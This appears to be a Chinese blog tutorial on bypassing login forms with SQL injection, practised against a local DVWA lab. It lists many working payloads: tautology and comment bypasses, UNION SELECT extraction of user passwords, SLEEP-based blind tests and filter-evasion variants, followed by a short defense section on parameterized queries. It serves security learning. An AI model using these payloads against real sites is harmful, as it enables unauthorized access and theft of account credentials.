new TEST 测试新富本编辑插件

📅 2026-08-05 👍 0点赞 💬 0 条评论

8208546e-2c1b-42d7-847c-ad25eaf61c7b.jpg

登录框绕过技巧:常见SQL注入登录绕过方法

⚠️ 再次强调:以下内容仅用于在你自己搭建的测试环境(如DVWA、SQLi-Labs)或获得明确书面授权的系统中学习使用。任何未经授权的尝试都是违法行为。


一、原理说明

登录框注入的核心原理是:后端将用户输入的用户名和密码直接拼接到SQL查询语句中,导致我们可以通过构造特殊输入改变SQL逻辑。

典型的登录查询语句通常是这样的:

SELECT * FROM users WHERE username='$username' AND password='$password'
我们的目标就是让这个条件始终为真(TRUE),从而绕过验证。


二、经典万能密码技巧

2.1 最基础的万能密码

在用户名框输入:

admin' OR '1'='1
密码随便填(比如 123)
实际生成的SQL变成:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='123'
因为 '1'='1' 永远为真,所以整条语句返回真,登录成功。

2.2 注释符绕过

在用户名框输入:

admin' --
密码随便填
生成的SQL:
SELECT * FROM users WHERE username='admin' -- ' AND password='123'
-- 后面的内容被注释掉,只校验用户名是否存在。

2.3 使用 # 注释(MySQL)

admin' #
效果同 --

2.4 万能用户名+密码组合

直接在用户名框输入:

' OR 1=1 #
或者
' OR '1'='1' --
密码留空或随便填。
生成的SQL:
SELECT * FROM users WHERE username='' OR 1=1 #' AND password='xxx'
由于 OR 1=1 永远为真,且后面被注释掉,所以无条件登录成功。


三、针对不同场景的变种

3.1 闭合方式变化

有些系统的SQL语句可能用双引号:

admin" OR "1"="1
admin" --

3.2 括号闭合

如果语句是:

SELECT * FROM users WHERE (username='$username') AND (password='$password')
可以尝试:
admin') OR ('1'='1
admin') --

3.3 同时利用两个输入框

用户名:​ ' OR 1=1 --

密码:​ 任意

用户名:​ anything

密码:​ ' OR '1'='1

用户名:​ ' UNION SELECT 'admin','password' --

密码:​ 任意(适用于某些特殊场景)



四、实际测试步骤演示

假设你搭建了DVWA靶场(Low难度):

步骤1:打开登录页面

访问 DVWA 的登录页面(默认 http://127.0.0.1/DVWA/login.php)

步骤2:输入测试payload

尝试第一种:

  • 用户名:admin' or '1'='1
  • 密码:anything
  • 尝试第二种:
  • 用户名:admin' --
  • 密码:(留空或随便填)
  • 尝试第三种:
  • 用户名:' or 1=1 --
  • 密码:test

步骤3:观察结果

如果页面跳转到后台管理界面,说明存在SQL注入漏洞。



五、更进阶的技巧

5.1 基于时间的盲注判断

如果不确定是否有注入,可以用时间延迟来确认:

admin' AND SLEEP(5) --
如果页面加载明显卡顿5秒,说明存在注入。

5.2 联合查询提取真实账号

先猜字段数:

' UNION SELECT 1,2,3 --
然后提取管理员账号密码:
' UNION SELECT user,password FROM users --

5.3 应对简单过滤

有些系统会过滤 or、and、空格等,可以尝试:

admin' || '1'='1
admin'/**/OR/**/'1'='1
admin'%20OR%20'1'%20=%20'1


六、完整测试清单


输入框输入内容说明
用户名admin' OR '1'='1经典万能密码
用户名admin' --注释绕过
用户名' OR 1=1 --无条件登录
用户名admin' #MySQL注释
用户名admin") OR ("1"="1双引号+括号
用户名admin' AND 1=1 --布尔判断


七、如何防御这些攻击

作为开发者,防御方法很简单:

  1. 使用参数化查询(PreparedStatement)​ — 这是最根本的解决方法
  2. 对输入进行严格过滤​ — 但不要完全依赖
  3. 最小权限原则​ — 数据库账号不要用root
  4. 示例(PHP PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->execute([$_POST['username'], $_POST['password']]);
这样无论输入什么,都只是作为字符串处理,不会破坏SQL结构。


八、练习建议

  1. 在自己电脑装个虚拟机,部署DVWA或SQLi-Labs
  2. 从Low难度开始,逐步挑战Medium、High
  3. 每次成功后,查看源码理解为什么能绕过
  4. 记录笔记,总结不同场景下的有效payload
  5. 安全之路,始于足下。练习归练习,千万别手痒去试别人的网站!

💬 评论列表 (0)

暂无评论,快来抢沙发吧!

发表评论

×